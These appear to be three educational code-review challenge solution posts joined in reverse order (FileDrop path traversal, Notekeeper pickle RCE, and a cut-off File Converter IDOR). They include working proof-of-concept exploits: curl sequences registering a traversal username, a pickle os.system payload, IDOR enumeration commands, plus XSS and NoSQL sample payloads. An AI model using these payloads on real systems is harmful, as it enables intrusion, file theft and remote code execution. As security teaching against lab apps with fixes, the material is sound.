Upload. Every /api/files request first passes through requireAuth. It pins the JWT algorithm (so the alg: none trick doesn't work), reloads the user from MongoDB, and sets req.user:

const decoded = jwt.verify(token, process.env.JWT_SECRET, { algorithms: ['HS256'] });
const user = await db.findUserById(decoded.userId);
if (!user) {
  return res.status(401).json({ error: 'User not found' });
}

req.user = {
  id: user.id,
  username: user.username,
  email: user.email
};
next();

src/middleware/auth.js#L26-L38

Then multer handles the upload, and this is where the location on disk is decided:

src/routes/files.js#L8-L31

So a file ends up at STORAGE_ROOT / <username> / <filename>. You can confirm this inside the container: /app/data/files/ contains one folder per user ( casey/, demo/, testuser/, ...).

Download. The download route takes the filename from the URL, strips any directory part, joins it onto the caller’s folder, and sends the file back as a download:

router.get('/:filename/download', (req, res) => {
  // Strip any directory part the client tried to send, so the name can only
  // ever point at a file directly inside the caller's own directory.
  const filename = path.basename(req.params.filename);
  if (!filename || filename === '.' || filename === '..') {
    return res.status(400).json({ error: 'Filename required' });
  }

  const filePath = path.join(userDirectory(req), filename);
  if (!fs.existsSync(filePath) || !fs.statSync(filePath).isFile()) {
    return res.status(404).json({ error: 'File not found' });
  }

  res.setHeader('Content-Type', 'application/octet-stream');
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.download(filePath, filename);
});

src/routes/files.js#L95-L119

List ( GET /api/files) and delete ( DELETE /api/files/:filename) follow the same pattern, using userDirectory(req) plus a basename'd filename ( files.js#L59-L68, files.js#L122-L140).

🧠 The key observation from step 1

Every file operation builds its path the same way:

path.join(STORAGE_ROOT, req.user.username, path.basename(filename))
          └── config ──┘ └──── ??? ──────┘ └──── sanitized ─────┘

There’s no ownership record for files in the database. “Your files” just means “the files in the folder named after you.” The isolation between accounts depends entirely on one assumption: that req.user.username is a single, safe folder name.

2. 🚪 Entry points

• POST /api/auth/register: public, takes username, email, password
• POST /api/auth/login: public, takes username, password
• GET /api/auth/me: bearer token, no other input
• GET /api/files: bearer token, no other input (the username picks the folder)
• POST /api/files: bearer token, takes a multipart file (name + bytes)
• GET /api/files/:filename/download: bearer token, takes :filename
• DELETE /api/files/:filename: bearer token, takes :filename

3. 🎯 Dangerous sinks

• S1: the filesystem path. path.join(STORAGE_ROOT, username, filename) decides which file is read, written or deleted. If user input can change it, you get path traversal (CWE-22).
• S2: MongoDB findOne queries built from the login/register body → NoSQL injection.
• S3: rendering the username in the React UI (Signed in as <strong>{user.username}</strong>) → XSS.

4 & 5. 🧩 Threat model & 🔍 mitigation review

🔓 Business logic

Authentication ✅. Register and login are public, which is expected. Everything under /api/files sits behind requireAuth, which pins HS256 and uses a required secret with no fallback.

IDOR, i.e. “can I ask for another user’s file?” ✅. There’s no file ID or owner ID anywhere in the API for an attacker to swap. Each route only works on the caller’s own folder, and that folder comes from the caller’s identity. So there’s no missing ownership check here. Keep that in mind, because the bug turns out to be something else.

💉 Source-to-sink

S2, NoSQL injection ✅. The classic attack sends an object instead of a string, for example {"username": {"$ne": null}}. FileDrop blocks it twice: mongoSanitize() strips $ keys before any handler runs, and both routes reject non-string fields:

if (!username || !password || typeof username !== 'string' || typeof password !== 'string') {
  return res.status(400).json({ error: 'Username and password are required' });
}

src/routes/auth.js#L98

S3, XSS ✅. The username is rendered as {user.username} in JSX, and React escapes every value embedded in JSX, so a username like <img src=x onerror=alert(1)> shows up as harmless text. Uploaded files are served as application/octet-stream with nosniff under a strict CSP, so an uploaded .html or .svg can't run script on the site's origin either.

S1, path traversal: this is where it breaks ❌. The path has two user-controlled parts, and they’re treated very differently.

The filename part ✅. Every route runs it through path.basename, which keeps only the last segment:

Download and delete also reject . and ... The code comments draw your attention here, and this part is safe.

The username part ❌. It looks fixed, because it comes from the JWT and the database. But you chose it yourself when you signed up, and the register route only checked its length. Slashes and .. are allowed, and database.js only trims whitespace:

async findUserByUsername(username) {
  const user = await this.usersCollection.findOne({ username: username.trim() });
  return this.toPublicUser(user);
}

src/store/database.js#L68-L71

Here’s the important fact: path.join normalizes .. segments.

So a user who registers as x/../casey is a different account to MongoDB (a different string), but on disk they get Casey's folder.

💡 Reviewer’s lesson: “this value comes from the database / the JWT” doesn’t make it trusted. Trace it back to where it was first written. Here that’s a sign-up form, which is user input.

6. 🧪 Exploitation

Why the payload is x/../casey and not ../casey

Here’s what path.join('/app/data/files', username) resolves to for each candidate username:

• ../casey → /app/data/casey: outside the storage root, an empty folder ❌
• x/../casey → /app/data/files/casey: Casey's folder ✅
• a/../../../.. → /: the root of the filesystem 😱

PoC

B=http://localhost:3000

# 1) Register an attacker whose USERNAME traverses into casey's directory.
#    "x/../casey" is 10 chars → passes the 3–32 length check; slashes and .. are not filtered.
curl -s -X POST $B/api/auth/register -H 'Content-Type: application/json' \
  -d '{"username":"x/../casey","email":"atk@evil.com","password":"password123"}'
# → {"message":"User registered successfully","token":"...","user":{"username":"x/../casey",...}}

# 2) Log in and grab the token.
TOKEN=$(curl -s -X POST $B/api/auth/login -H 'Content-Type: application/json' \
  -d '{"username":"x/../casey","password":"password123"}' | jq -r .token)

# 3) List "my" files. They're actually casey's.
curl -s $B/api/files -H "Authorization: Bearer $TOKEN"
# → {"files":[{"name":"private-keys-backup.txt",...},{"name":"q3-forecast.csv",...}], ...}

# 4) Download casey's secret.
curl -s "$B/api/files/private-keys-backup.txt/download" -H "Authorization: Bearer $TOKEN"
# → reminder: rotate the staging API token before the audit

Compare that with a normal new account, which sees an empty list:

=== CONTROL: a normal attacker sees an empty drop ===
{"files":[],"usage":{"usedBytes":0,"quotaBytes":104857600}}

=== PAYLOAD: username "x/../casey" ===
{"files":[{"name":"private-keys-backup.txt","size":56,...},
          {"name":"q3-forecast.csv","size":68,...}],"usage":{"usedBytes":124,...}}

=== download private-keys-backup.txt ===
reminder: rotate the staging API token before the audit

The same trick works for upload (the attacker can plant files in Casey’s folder) and delete (the attacker can wipe them). Registering a/../../../.. lets the account list and download files outside the storage root, anywhere the Node process can read.

Impact: a brand-new anonymous account can read, overwrite or delete any user’s files, with no interaction from the victim. Confidentiality, integrity and availability are all lost for every account.

Classification: Path Traversal, CWE-22, via External Control of File Name or Path, CWE-73. The effect looks like an IDOR, but the cause is a source-to-sink injection. Adding an ownership check to each route wouldn’t fix it. Not trusting a user string as a path segment would.

7. 🛠️ The fix

Option 1: an allowlist for usernames at registration. A length check isn’t validation. Restrict the characters:

// src/routes/auth.js
const USERNAME_PATTERN = /^[a-zA-Z0-9_-]+$/;   // no '/', no '.', no '..'
if (!USERNAME_PATTERN.test(trimmedUsername)) {
  return res.status(400).json({ error: 'Username may contain only letters, numbers, _ and -' });
}

Option 2 (better): don’t build the path from the username at all. Use the immutable, server-generated user ID instead. It’s a MongoDB ObjectId, which findUserById already validates, so no attacker-chosen text ever reaches the path:

function userDirectory(req) {
  return path.join(STORAGE_ROOT, req.user.id);   // ObjectId hex, not attacker-chosen text
}

Defense-in-depth (do these too):

1. Run that check in multer’s destination callback too. It runs before your route handler, so the file is already written by the time the handler sees the request.

   const dir = path.resolve(STORAGE_ROOT, key);
   if (dir !== STORAGE_ROOT && !dir.startsWith(STORAGE_ROOT + path.sep)) {
     throw new Error('Path escapes storage root');
   }

2. Run that check in multer’s destination callback too. It runs before your route handler, so the file is already written by the time the handler sees the request.

3. Record file ownership in the database ({ owner: userId, name }) and check it on download and delete, instead of assuming ownership from a folder name.

4. Keep path.basename on filenames and keep rejecting empty, . and .. names.

🌍 Real-world examples

• Zip Slip meets Artifactory: A Bug Bounty Story. JFrog Artifactory joined an archive entry’s name onto a path as-is. An entry named ../../.../webapps/rce.war escaped into Tomcat's auto-deploy folder, which gave RCE. Same root cause as FileDrop (a name trusted as a path segment), and it was found the same way: by reading the code.
• Excessive Expansion: critical vulnerabilities in Jenkins (CVE-2024–23897). The args4j library quietly treats any CLI argument starting with @ as a file to read, so @/etc/passwd became an arbitrary file read. It's a different vector with the same lesson as path.join normalizing ..: know what each library call does with your input.

📚 More resources

🎯 Takeaway

Trace every input to the sink it reaches, including the ones that don’t look like input. FileDrop protected the obvious half of the path (the filename) and left the other half (the username) open. A username isn’t just a display label. Here it was a folder name.

If you can, don’t build sensitive values like paths from user input at all. Use server-generated IDs. When you can’t avoid it, validate against a strict allowlist and check the final result.

🔔 What’s next

Challenge #7: Blogger is live now. Can you find the bug before the solution drops?

👉 https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/007-blogger

New challenges land every two weeks, and each drop includes the previous challenge’s solution. Watch the repo (Watch → Custom → Releases) to get notified, and subscribe to AppSec Untangled on YouTube for the video walkthroughs.

If you found the bug yourself, or took a different route to it, tell me in the comments 👇

The Secure Code Review Challenge — Solution #6: 📥 FileDrop (Username Is User Input Too) was originally published in AppSec Untangled on Medium, where people are continuing the conversation by highlighting and responding to this story.

The Secure Code Review Challenge is a free biweekly series of full, realistic applications with vulnerabilities based on real-world CVEs and writeups — you review, identify, and exploit them the way you would in a real security review, not just spot-the-bug pattern recognition.

If you haven’t attempted the challenge yet, this is your cue to stop reading, clone the repo, and try it yourself first. Everything below assumes you’ve already had a go at it — the exercise is worth more if you struggle with it a bit before seeing the answer.

Two quick announcements before we get into it:

• Challenge #6 is already live in the repo under challenges/ here. The solution to it will follow in two weeks.
• The repo uses GitHub Releases for every new challenge and solution drop. If you go to Watch → Custom → Releases on the repo, you’ll get notified automatically instead of having to check back manually.

With that out of the way, let’s walk through Notekeeper the same way I did in the video — following the same seven-step methodology laid out in the repo, end to end.

A Quick Reminder of What We’re Reviewing

Notekeeper is a personal note manager: sign up, log in, create/edit/delete your own notes, and — the feature that matters — export all your notes to a file and import them back. Unlike some earlier challenges, there’s no external converter binary, no headless browser, no outbound HTTP. It’s a stock Django app, and that turns out to be most of the story: the framework closes almost every classic sink for you. Almost.

Part I — Building the Mental Model

1. 🗺️ Application Scope & Architecture

As always, the first move is spinning the app up and clicking through it — sign up, log in, save a couple of notes, edit one, delete one, then export the lot to a file and import it back. Nothing surprising in the UI; the interesting part is what’s wired together underneath.

The best way to understand an unfamiliar codebase is to tell it as a story, and here there are two worth telling: what happens when the app starts, and what happens when a user logs in and uses it.

Story one — starting the app. docker compose up reads docker-compose.yml, which declares two containers: a stock postgres:16 image (a black box — not our code) and an app container built locally from the repo's Dockerfile. That Dockerfile is a python:3.12-slim image that installs the requirements and runs entrypoint.sh as a non-root appuser. The entrypoint waits for Postgres, applies migrations, seeds a demo and an admin account, then starts Django:

exec python manage.py runserver 0.0.0.0:8000

The framework is Django 5.2, and settings.py is where the security-relevant wiring lives — specifically the global middleware that runs on every request:

MIDDLEWARE = [
    'django.contrib.sessions.middleware.SessionMiddleware',      # cookie sessions
    'django.middleware.csrf.CsrfViewMiddleware',                 # CSRF protection
    'django.contrib.auth.middleware.AuthenticationMiddleware',   # request.user
    ...
]

That’s three controls the framework is handling for us before we’ve written a line of app code: SessionMiddleware + AuthenticationMiddleware populate request.user from the session cookie, and CsrfViewMiddleware enforces a CSRF token on every unsafe method. Routes are mapped in urls.py — Django's built-in login, a custom signup/logout, the notes CRUD endpoints, and the import/export pair — all handled by notes/views.py. There's a built-in Django admin portal on /admin too, but that's framework code, gated on the admin account, and not something we wrote. The data store is PostgreSQL, reached exclusively through the Django ORM; the only model is Note — a user foreign key plus title and content.

Story two — log in, use the app. Login goes through Django’s built-in LoginView, which sets the session cookie; from there every notes view carries @login_required, a decorator that runs before the handler and checks the session. Create/list/get/update/delete all scope their queries to request.user. The one part worth reading slowly is export/import:

# export_notes
serialized = pickle.dumps(list(notes.values()))
return HttpResponse(base64.b64encode(serialized), content_type='text/plain')

# import_notes
data = base64.b64decode(request.FILES['import_file'].read())
notes_data = pickle.loads(data)                     # ← uploaded bytes
for note_data in notes_data:
    Note.objects.create(user=request.user, title=note_data['title'], content=note_data['content'])

Export serializes your notes with Python’s pickle module and base64-encodes them; import base64-decodes an uploaded file and calls pickle.loads() on the result. Note that asymmetry without judging it yet — the bytes fed to pickle.loads() come straight from a file the user hands us.

2. 🚪 Entry Points

Registration and login are open; every notes route requires an authenticated session.

• GET/POST /accounts/login/, /accounts/signup/ — auth: none — username/password.
• GET / — auth: user — renders the caller's own notes.
• POST /create_note/ — auth: user — title, content.
• GET /get_note/<id>/, POST /update_note/<id>/, POST /delete_note/<id>/ — auth: user — id path param.
• GET /export_notes/ — auth: user — none.
• POST /import_notes/ — auth: user — an uploaded file (import_file).

3. 🎯 Dangerous Sinks

Sinks are the operations where untrusted input could change what the program does, not just where it flows:

• pickle.loads(data) on uploaded bytes → insecure deserialization / RCE. Fed from request.FILES['import_file'].
• Template rendering of note.title / note.content → stored XSS if unescaped.
• ORM lookups built from the <id> path param and form fields → SQL injection if raw.

4 & 5. 🧩 Threat Modeling and 🔍 Mitigation Review

The candidate list for this app is the classic set — authentication, authorization/IDOR, CSRF, XSS, SQL injection, and insecure deserialization. Because it’s a stock framework app, the interesting question is less “is each one possible?” and more “which one did the framework not cover?” I checked each against the code.

🔓 Business logic first.

Authentication — every notes view carries @login_required, backed by Django's AuthenticationMiddleware. This is well-tested framework auth, not something hand-rolled; strip the session cookie in Burp and every route redirects to login. ✅ Mitigated.

Authorization — object-level ownership. With multiple users, the assumption is that one user can’t read or mutate another’s notes — i.e. no IDOR. Every query here is scoped to the caller: the list uses Note.objects.filter(user=request.user), and single-object routes use get_object_or_404(Note, id=note_id, user=request.user) — the user= clause is baked into the lookup, so another user's ID resolves to 404, not their note. Import is careful too: it never trusts a user ID from the uploaded file, always setting user=request.user. ✅ Mitigated.

CSRF — CsrfViewMiddleware is enabled globally, every form emits {% csrf_token %}, and the fetch() calls send the X-CSRFToken header. By default Django rejects any unsafe method missing the token with a 403. ✅ Mitigated.

💉 Source-to-sink next.

XSS — Django templates auto-escape by default. {{ note.title }} / {{ note.content }} are HTML-escaped, and the JS handlers use the escapejs filter. There's no |safe, mark_safe, or autoescape off anywhere, so a <script> note renders inert. ✅ Mitigated.

SQL injection — all database access goes through the Django ORM, which parameterizes queries. No raw(), .extra(), or cursor SQL. ✅ Mitigated. (It's PostgreSQL, so NoSQL injection doesn't apply either.)

Insecure deserialization — here’s where it stops. import_notes calls pickle.loads() on bytes taken directly from an uploaded file. It's easy to miss if you don't already know pickle is dangerous — the pickle docs look like any other serialization library. But scroll to the top of that page and there's a red warning box.

🔦 A note on tooling. You don’t have to catch this by eye. In an earlier challenge a container scan (Grype) surfaced a vulnerable dependency; here the sink is in our own code, so a SAST scanner is the right tool. semgrep scan flags it directly:

notes/views.py
   ❯❯❱ python.django.security.audit.avoid-insecure-deserialization
         Avoid using insecure deserialization library, backed by `pickle` ...
          87┆ notes_data = pickle.loads(data)

SAST is good at locating a dangerous sink. What it can’t decide for you is whether the input is genuinely attacker-controlled and whether anything upstream neutralizes it — that source→sink reachability call is still the reviewer’s job. (And note the contrast with the IDOR class from Challenge #4: a missing ownership check has no telltale sink, so no scanner flags it at all.)

Part II — Finding, Exploiting, and Fixing the Bug

6. 🧪 The Vulnerability: Insecure Deserialization → RCE

Class: Insecure Deserialization → Remote Code Execution — CWE-502. OWASP A08:2021 — Software and Data Integrity Failures.

Why it works. pickle isn't a data format — it's a mini stack language for reconstructing Python objects, and part of that language is calling things. When an object defines __reduce__, unpickling calls the callable it returns with the arguments it returns. So an attacker ships an object whose __reduce__ returns (os.system, ("<cmd>",)), and the command runs the instant pickle.loads() parses the stream — before the surrounding code (the for loop, the note_data['title'] access) ever runs.

That ordering explains a detail you see during exploitation: the request still returns a JSON error ('int' object is not iterable). After os.system runs it returns an exit code (0), pickle hands that back as the "deserialized object," and for note_data in 0: then chokes. The error is cosmetic — the command already executed. The try/except around the loop protects nothing, because the dangerous work happens inside pickle.loads() itself. And the app hands you the exact wire format for free: GET /export_notes/ shows an import file is just base64(pickle_bytes), so there's nothing to reverse-engineer.

🚀 Exploitation

Authenticate as any user (registration is open), craft a malicious pickle, and upload it through Import Notes.

# 0) Log in as the seeded demo user, keeping cookies + CSRF token
curl -s -c cj.txt http://localhost:8000/accounts/login/ -o login.html
CSRF=$(grep csrfmiddlewaretoken login.html | sed -E 's/.*value="([^"]+)".*/\1/' | head -1)
curl -s -b cj.txt -c cj.txt http://localhost:8000/accounts/login/ \
  -H "Referer: http://localhost:8000/accounts/login/" \
  -d "csrfmiddlewaretoken=$CSRF&username=demo&password=demo12345&next=/" -o /dev/null

# 1) Build the payload: __reduce__ makes unpickling call os.system(...)
python3 - <<'PY'
import pickle, base64, os
class Exploit:
    def __reduce__(self):
        return (os.system, ('id > /tmp/pwned_by_pickle.txt; echo RCE-OK',))
open('exploit.txt','wb').write(base64.b64encode(pickle.dumps(Exploit())))
PY

# 2) Upload it through the Import Notes endpoint
CSRFCOOKIE=$(grep csrftoken cj.txt | awk '{print $7}')
curl -s -b cj.txt http://localhost:8000/import_notes/ \
  -H "X-CSRFToken: $CSRFCOOKIE" -H "Referer: http://localhost:8000/" \
  -F "csrfmiddlewaretoken=$CSRFCOOKIE" -F "import_file=@exploit.txt"

Real output from the running app:

# import response — command already ran; the error is the loop choking on os.system's int return
{"status": "error", "message": "'int' object is not iterable"}   HTTP 400

# proof the command executed INSIDE the app container:
$ docker exec notekeeper_app sh -c 'cat /tmp/pwned_by_pickle.txt'
uid=1001(appuser) gid=1001(appuser) groups=1001(appuser)

For contrast, exporting real notes and re-importing that file succeeds with {"status": "success"} and recreates the notes — same endpoint, benign payload.

Impact: any authenticated user — and registration is open, so effectively any attacker — achieves remote code execution as appuser: full read/write of the app's data and secrets, lateral movement to the PostgreSQL container over the compose network, and a foothold for persistence. A complete compromise of the app tier, gated only by a trivially obtainable login.

7. 🛠️ The Fix

Primary fix — never deserialize untrusted input with pickle; use a data-only format (JSON). JSON can't instantiate arbitrary objects or call code, so export and import round-trip safely:

import json

@login_required
def export_notes(request):
    notes = Note.objects.filter(user=request.user).values('title', 'content')
    return JsonResponse(list(notes), safe=False)

@login_required
def import_notes(request):
    if request.method != 'POST':
        return JsonResponse({'status': 'error'}, status=400)
    try:
        notes_data = json.loads(request.FILES['import_file'].read().decode('utf-8'))
        for nd in notes_data:                     # validate shape/length before trusting it
            Note.objects.create(user=request.user,
                                 title=str(nd['title'])[:100],
                                 content=str(nd['content']))
        return JsonResponse({'status': 'success'})
    except (ValueError, KeyError, TypeError) as e:
        return JsonResponse({'status': 'error', 'message': str(e)}, status=400)

As with every challenge in this series, that one fix shouldn’t be the only control:

• Validate on the server, not just the accept= attribute — enforce content type, size limits, and a strict schema on the parsed data.
• If a binary interchange format is truly required, sign exported blobs (Django’s signing / HMAC) and verify before parsing, so only data the server itself produced is accepted. pickle stays unsafe even then — prefer a schema-bound format.
• Least privilege / blast radius — the app already runs as non-root; keep it that way, restrict the DB user’s grants, and lock down egress from the app container so an RCE can’t pivot freely.
• Static analysis in CI — flag pickle.loads / yaml.load / marshal on request-derived data (Bandit B301/B403, or the Semgrep rule above) so this class is caught on the pull request, not in prod.

Why This Matters Beyond This One App

Notekeeper is almost the inverse of Challenge #4. There, every individual control was well-built and the gap was a missing check (ownership). Here, the framework hands you correct auth, authorization, CSRF, XSS, and SQL-injection defenses essentially for free — and the bug is one line that steps outside the framework’s guarantees to do its own (de)serialization with a tool that was never safe for untrusted input.

The reviewer’s habit that catches this: treat pickle.loads, yaml.load (unsafe loader), marshal, or any native-deserialize call sitting on a path from user input as an RCE sink until proven otherwise — the same reflex you'd apply to unescaped output. And when you find one, the fix is almost never "wrap it in try/except," because the code runs during deserialization, before your handler gets control. The fix is "don't deserialize untrusted data with that mechanism at all." Deserialization is code execution in disguise — pickle (Python), Java native serialization, Ruby Marshal, PHP unserialize all reconstruct objects by invoking callables, so feeding them untrusted bytes is equivalent to running attacker code.

Real-world grounding: CVE-2024–2912 — BentoML is the same root cause in a widely used AI model-serving framework: untrusted input reaching pickle-style deserialization, yielding RCE. Models get shared and loaded like data, the loader unpickles them, and a malicious model runs code — Notekeeper’s bug at ecosystem scale.

Wrapping Up

If you worked through Notekeeper yourself, I’d like to know: did the pickle.loads() jump out at you the moment you saw it in import_notes, or did the wall of correctly-secured Django around it lull you into scrolling past — the way a framework's good defaults can quietly convince you the whole file is safe?

Challenge #6 is live now if you’re ready for the next one, and I’ll be back in two weeks with its solution and a new challenge alongside it.

Links:

• 🎥 Video walkthrough: https://youtu.be/r3or6Yig_t0
• 📄 Full solution write-up: SOLUTION.md
• 📂 Repo: the-secure-code-review-challenge
• 🧩 Try Challenge #5: challenges/005-notekeeper
• 🧩 Try Challenge #6: challenges/006-filedrop

The Secure Code Review Challenge — Solution #5: Notekeeper (Insecure Deserialization) was originally published in AppSec Untangled on Medium, where people are continuing the conversation by highlighting and responding to this story.

The Secure Code Review Challenge is a free biweekly series of full, realistic applications with vulnerabilities based on real-world CVEs and writeups — you review, identify, and exploit them the way you would in a real security review, not just spot-the-bug pattern recognition.

If you haven’t attempted the challenge yet, this is your cue to stop reading, clone the repo, and try it yourself first. Everything below assumes you’ve already had a go at it — no shame either way, but the exercise is worth more if you struggle with it a bit before seeing the answer.

Two quick announcements before we get into it:

• Challenge #5 is already live in the repo under challenges/ here. The solution to it will follow in two weeks.
• The repo uses GitHub Releases for every new challenge and solution drop. If you go to Watch → Custom → Releases on the repo, you’ll get notified automatically instead of having to check back manually.

With that out of the way, let’s walk through File Converter the same way I did in the video — following the same seven-step methodology laid out in the repo, end to end.

A Quick Reminder of What We’re Reviewing

File Converter is an asynchronous document-conversion service — register, log in, upload a file, wait for it to convert in the background, download the result. Unlike Dice, this one does have accounts, sessions, and per-user data, so the full range of business-logic checks is back on the table alongside the usual injection concerns.

Part I — Building the Mental Model

1. 🗺️ Application Scope & Architecture

As always, the first move is spinning the app up and clicking through it — register, log in, upload a Markdown file, convert it to .docx, download the result. No surprises in the UI itself; the interesting part is what's wired together underneath.

The best way to understand an unfamiliar codebase is to tell it as a story, and here there are two stories worth telling: what happens when the app starts, and what happens when a user logs in, uploads a file, and downloads the result.

Story one — starting the app. docker compose up reads docker-compose.yml, which declares two containers: a stock mongo image (a black box — not our code) and an app container built locally from the repo's Dockerfile. That Dockerfile installs Pandoc and a LaTeX toolchain, then runs node app.js as the entrypoint.

app.js creates the Express app, connects to Mongo on startup, and attaches global middleware that runs on every request:

app.use(express.json());                 // parse JSON bodies
app.use(mongoSanitize());                // express-mongo-sanitize → strips $/. keys (NoSQLi guard)
app.use((req, res, next) => { res.setHeader('Content-Security-Policy', ...) }); // CSP
app.use(session({ cookie: { httpOnly: true, sameSite: 'lax' } })); // express-session

Three routers are mounted over one shared data store: /api/auth (register/login, hashing passwords with bcrypt), /api (the conversion API, uploads handled by multer), and / (server-rendered pages via ejs). Both routers reach MongoDB through one wrapper exposing two collections — users and jobs.

The conversion itself runs in the background by shelling out to Pandoc via execFile (no shell) with the --sandbox flag:

const args = ['--sandbox', '-f', reader, inputPath, '-o', outputPath];
execFile('pandoc', args, { timeout: 30000 }, ...);

Story two — log in, upload, download. Logging in checks the stored bcrypt hash and, on success, writes the user's ID into the session (req.session.userId = user.id). Every protected route then checks that session — the API's requireAuth returns 401 with no session, the UI's requireUser redirects to /login.

Uploading (POST /api/convert) chains requireAuth → assigns a job ID → multer saves the file under a server-generated name (job ID + validated extension, not the user's original filename) → a job document is created tying the file to its owner → conversion runs in the background, flipping the job's status to completed when Pandoc finishes.

Downloading (GET /api/convert/:jobId/download, or the UI twin GET /jobs/:jobId/download) fetches the job by its job ID and streams the output file back.

That last sentence is worth re-reading once we get to the mitigation review.

2. 🚪 Entry Points

• POST /api/auth/register, /api/auth/login — auth: none — takes username, email, password.
• POST /api/convert — auth: session — takes an uploaded file and targetFormat.
• GET /api/convert/:jobId — auth: session — takes jobId (path param).
• GET /api/convert/:jobId/download — auth: session — takes jobId (path param).
• POST /register, /login, /convert (UI) — same inputs as above, session on convert.
• GET /jobs/:jobId, /jobs/:jobId/download (UI) — auth: session — takes jobId (path param).

Several routes take a client-supplied jobId path parameter that identifies a stored object — that pattern alone is worth flagging before we've even opened the threat model.

3. 🎯 Dangerous Sinks

Sinks are the operations where untrusted input could change what the program does, not just where it flows:

• MongoDB queries built from request data → NoSQL injection. Login/lookup pass body fields into findOne(...).
• OS command execution: execFile('pandoc', …) → command / argument injection. The converter spawns an external binary with arguments derived from the upload.
• Pandoc’s document processing itself → SSRF / local-file read / RCE. While converting, Pandoc can resolve URLs and local paths referenced by the document and hand raw TeX to the PDF engine — so the uploaded document contents are themselves a sink.
• Filesystem path operations → path traversal. Paths are built for the stored upload, the conversion output, and the download stream.
• HTML/template rendering → XSS. User-controlled fields (filename, username) are rendered into pages.

4 & 5. 🧩 Threat Modeling and 🔍 Mitigation Review

🔓 Business logic first.

Authentication — every state-changing or data route sits behind requireAuth / requireUser. ✅ Present, and easy to verify independently of reading the code: strip or corrupt the session cookie in Burp and every one of those routes redirects to /login or returns 401 instead of doing the thing.

CSRF — the session cookie is set with sameSite: 'lax', which keeps it off cross-site form POSTs in any reasonably current browser. A lax flag is a real, if browser-dependent, mitigation — a CSRF token would be more robust since it doesn't rely on the browser at all, but lax is good enough here that this isn't the planted bug. ✅ Adequately mitigated for this design.

Authorization — object-level ownership. This is where it falls apart. The expectation (OWASP API1:2023 — Broken Object Level Authorization) is that every per-object route confirms the object belongs to the caller. What the code actually does: the job routes authenticate the caller, then look the job up by ID only:

router.get('/convert/:jobId/download', requireAuth, async (req, res) => {
  const { jobId } = req.params;
  const job = await db.findJobByJobId(jobId);   // looked up by ID only
  if (!job) return res.status(404)...;
  // ⚠️ no check that job.userId === req.user.id
  res.download(job.outputPath, filename, ...);  // streams whoever's file it is
});

There’s no comparison of job.userId to req.user.id anywhere — not in the middleware, not in the handler, not in the database lookup. The tell: the dashboard listing does scope by owner (findJobsByUserId(userId) filters { userId }), so the ownership concept clearly exists in the codebase. It just was never applied to the routes that fetch a single object. ❌ Not mitigated — this is the planted flaw.

💉 Source-to-sink next.

Before trusting the app code, it’s worth clearing the dependencies too: this image ships far more than package.json shows — Pandoc + LaTeX drags in roughly 425 OS/npm packages, so a container scan is the right move. grype 004-file-converter-app:latest --only-fixed comes back clean; a full scan surfaces only unfixable base-image noise plus one Pandoc SSRF CVE the code already mitigates (more on that below). No CVE database has an entry for "this endpoint forgot to check who owns the record," so the scan is a filter here, not the finding — clearing the dependencies is what leaves the authorization gap as the answer.

Every injection sink checks out as genuinely mitigated:

• NoSQL injection — express-mongo-sanitize strips $/. keys, so {"username":{"$ne":null}} can't smuggle an operator. ✅
• Command injection — the app shells out, so this is where it would bite if anywhere. It uses execFile('pandoc', args), not exec — execFile runs the binary directly with an argv array and no shell, so ;, |, $() are inert. The arguments aren't user-controlled anyway (server-generated paths, a fixed reader, --sandbox). ✅
• Pandoc SSRF / local-file read / RCE — the sink here is Pandoc itself: while converting, it can resolve a remote image URL or read a local path referenced by the document. This is a real, current risk, and the scan even flags it — CVE-2025-51591, a genuine SSRF in Pandoc, negligible severity. The advisory itself prescribes --sandbox as the mitigation, which is exactly what the app already applies: --sandbox blocks all disk and network IO during conversion, and the Markdown reader has raw TeX passthrough disabled. Testing  produced a clean output file with no leaked content. ✅
• Path traversal — the on-disk filename is built from the server-generated job ID, not the user’s original filename, via multer’s diskStorage. The output path is derived from the same job ID, and the download handler streams job.outputPath from the database, not anything user-supplied. ✅
• XSS — EJS’s <%= %> tag auto-escapes (as opposed to the raw <%- %> tag), a strict CSP is set, and the client renders job status with textContent, not innerHTML. ✅

Everything an injection-hunter would go chasing is deliberately closed. The one gap is authorization.

Part II — Finding, Exploiting, and Fixing the Bug

6. 🧪 The Vulnerability: Broken Object-Level Authorization via Guessable Job IDs

Class: Broken Object-Level Authorization / IDOR — CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-862 (Missing Authorization), made trivially enumerable by CWE-340 (Predictable Identifiers). OWASP API1:2023.

Two facts combine to make this exploitable rather than theoretical:

1. No ownership check, as shown above — any authenticated user can pass any job ID and get a 200 back with someone else's data.

2. Job IDs are guessable. They’re built as today’s date plus a per-day counter starting at 1:

return `${dateDigits}${result.seq}`;   // e.g. 202609031, 202609032, …

So an attacker doesn’t even need a leaked link — today’s jobs are just 20260903 followed by 1, 2, 3, …. Authentication here only answers "are you a user," never "are you this job's user," so any registered account can read or download every other account's conversions.

🚀 Exploitation

Two users: alice uploads a confidential document and converts it; mallory — a separate account that never saw the file — reads and downloads it by guessing the job ID.

# alice (victim) registers, uploads a confidential doc, converts it to docx
curl -s -X POST localhost:3000/api/auth/register -H 'Content-Type: application/json' -c alice.txt \
  -d '{"username":"alice","email":"alice@example.com","password":"securepass123"}' >/dev/null

printf '# Alice salary review\n\nAlice earns $200,000. CONFIDENTIAL.\n' > secret.md

curl -s -X POST localhost:3000/api/convert -b alice.txt \
  -F file=@secret.md -F targetFormat=docx        # -> {"jobId":"202609031"}

# mallory (attacker) - a brand-new account - guesses the ID and steals the file
curl -s -X POST localhost:3000/api/auth/register -H 'Content-Type: application/json' -c mallory.txt \
  -d '{"username":"mallory","email":"mallory@example.com","password":"securepass123"}' >/dev/null

curl -s localhost:3000/api/convert/202609031 -b mallory.txt          # reads status of a foreign job

curl -s localhost:3000/api/convert/202609031/download -b mallory.txt -o stolen.docx

Real output from the running app:

Attacker (mallory) reads victim's job status by guessing ID 202609031:
{"jobId":"202609031","status":"completed","targetFormat":"docx","outputUrl":"/api/convert/202609031/download"}

Attacker downloads victim's converted file:
HTTP 200, 10453 bytes
Recovered text from the file mallory stole:
   Alice salary review
   Alice earns $200,000. CONFIDENTIAL.

The UI surface is identical — GET /jobs/202609031/download with mallory's cookie returns the same bytes, and the UI job page even leaks the victim's original filename before download.

Impact: any registered user can enumerate predictable job IDs and read or download every user’s uploaded documents and conversions — plus the original filenames the UI discloses — a full cross-tenant confidentiality break (CWE-639 / API1:2023).
